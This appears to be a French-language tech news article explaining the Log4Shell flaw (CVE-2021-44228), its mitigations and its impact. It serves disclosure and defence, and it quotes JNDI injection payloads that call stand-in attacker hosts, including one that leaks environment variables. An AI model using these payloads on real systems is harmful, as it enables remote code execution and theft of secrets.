Le 9 décembre, il a été rendu public sur Twitter qu'un exploit zero-day avait été découvert dans log4j, une bibliothèque de journalisation Java populaire. Toutes les versions de la bibliothèque entre 2.0 et 2.14.1 incluses sont concernées. Log4j 2.15.0 a été publié, qui n'a plus cette vulnérabilité. Comme indiqué par le POC publié sur GitHub, lorsque log4j enregistre une valeur de chaîne contrôlée par un attaquant, cela peut entraîner une Remote Code Execution (RCE). Le problème affecte log4j-core.
Les contributeurs de log4j se sont mobilisés pour s'assurer qu'un correctif soit disponible et rapidement fusionné. Log4j 2.15.0 est déjà disponible dans Maven Central et tous les utilisateurs sont encouragés à effectuer la mise à niveau immédiatement dans la mesure du possible. Lorsqu'une mise à niveau n'est pas immédiatement possible, une autre solution consiste à démarrer l'application ou le serveur Java avec la propriété système log4j2.formatMsgNoLookups
définie sur true
:
java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar
Cette propriété n'est pas disponible dans les versions de log4j inférieures à 2.10.0, et pour les utilisateurs de ces versions qui ne peuvent pas mettre à niveau immédiatement, deux stratégies sont disponibles : "modifiez chaque modèle de journalisation pour dire %m{nolookups}
au lieu de %m
dans vos fichiers de configuration de journalisation" ou "remplacez par une implémentation non-vulnérable ou vide de la classe org.apache.logging.log4j.core.lookup.JndiLookup
, de manière à ce que votre classloader utilise votre remplacement au lieu de la version vulnérable de la classe."
Il a été initialement rapporté par Lunasec que les serveurs s'exécutant sur des versions de JDK supérieures à 6u211, 7u201, 8u191 ne sont pas affectés par le vecteur d'attaque LDAP RCE, car com.sun.jndi.ldap.object.trustURLCodebase
est désactivée par défaut, donc JNDI ne peut pas charger une base de code distante à l'aide de LDAP. Cependant, une analyse plus approfondie de la communauté a révélé que toutes les versions du JDK sont vulnérables à ce type d'attaque. Alvaro Muñoz a commenté sur Twitter que les attaques de désérialisation sont toujours possibles avec le dernier JDK : "Le serveur ldap renverra un objet sérialisé qui sera désérialisé. Cependant, RCE dépend de la disponibilité du gadget dans le classpath"
Une autre option d'atténuation consiste à supprimer la classe JndiLookup
du classpath :
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Cependant, comme rapporté par Michael Stepankin chez Veracode, il existe d'autres vecteurs d'attaque ciblant cette vulnérabilité qui peut entraîner un RCE. Lari Hotari, contributeur OSS et ingénieur logiciel senior chez DataStax, a également commenté une version antérieure de cet article que même si l'attaque RCE d'origine via LDAP peut être empêchée dans les versions ultérieures du JDK, il est toujours possible d'utiliser la vulnérabilité log4j pour divulguer des informations sensibles, telles que des variables d'environnement, qui pourraient être utilisées dans d'autres attaques, par exemple ${jndi:ldap://${env:user}.xyz.collab.com/a}
Par conséquent, une atténuation immédiate est recommandée même si une application s'exécute sur une version du JDK mentionnée précédemment.
L'exploit, qui sera identifié par CVE-2021-44228, et connu familièrement sous Log4Shell, profite d'une faille dans le Java Naming and Directory Interface de la manière suivante :
- L'utilisateur envoie des données au serveur (TCP, HTTP, ou tout autre protocole le permettant)
- Le serveur écrit dans les logs via log4j les données contenant le payload malveillant dans la requête :
${jndi:ldap://malicioussite.com/exploit}
( malwaresite.com étant un serveur contrôlé par un attaquant) - La vulnérabilité log4j est déclenchée et le serveur envoie une requête à malwaresite.com via JNDI
- La réponse contient un chemin vers un fichier de classe Java distant, qui sera injecté dans le processus serveur
- Le payload injecté permet à l'attaquant présumé d'exécuter du code arbitraire
Ou traduit en code :
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
Ou comme illustré par la Computer Emergency Response Team du gouvernement suisse :
Compte tenu de l'omniprésence de l'utilisation de Java et de log4j et de la facilité de l'exploit, l'impact est critique et doit être traité par tous les utilisateurs immédiatement. Un nombre croissant d'analyses sont effectuées sur le Web pour essayer d'exploiter la vulnérabilité provenant principalement du réseau Tor. Des vulnérabilités similaires ont été exploités dans le passé, aboutissant à des violations de données comme la violation de données Equifax.
Diverses analyses ont été effectuées sur le Web, trouvant parmi les services concernés connus Steam, Apple iCloud ou des applications telles que Minecraft, dont les versions supérieures à 1.8.8 sont affectées. Brian Vermeer, senior developer advocate chez Snyk, a fait un rapport sur le blog Snyk qu'Apache Struts 2, Apache Solr et Apache Druid sont tous concernés. Le correctif a été lancé parmi les projets open source concernés (par exemple Paper).
Avec la popularité de bibliothèques vraisemblablement simples comme log4j, de nombreux services et applications cloud pourraient être touchés, comme ce fut le cas de la violation de données d'Equifax à partir de 2017, lorsque les répercussions ont été assez graves. Néanmoins, dans le cas de CVE-2021-44228 la communauté s'est mobilisée pour aider à sensibiliser et fournir des plans d'atténuation et également des correctifs.
Gunnar Morling, ingénieur logiciel open source chez Red Hat, a fourni un exemple de règle Maven Enforcer pour interdire toute utilisation future de la version vulnérable de log4j dans le code source d'un projet. Hotari a fourni un Log4Shell mitigation tester. Plusieurs personnes et organisations ont également fourni des correctifs, tels que Cybereason, bien qu'une diligence raisonnable doive être effectuée avant d'appliquer l'un de ces correctifs communautaires.
Cet article a été mis à jour les 12 et 13 décembre 2021, car plus d'informations sur la vulnérabilité ont été découvertes et partagées par la communauté (voir les commentaires dans l'article en anglais pour un contexte supplémentaire)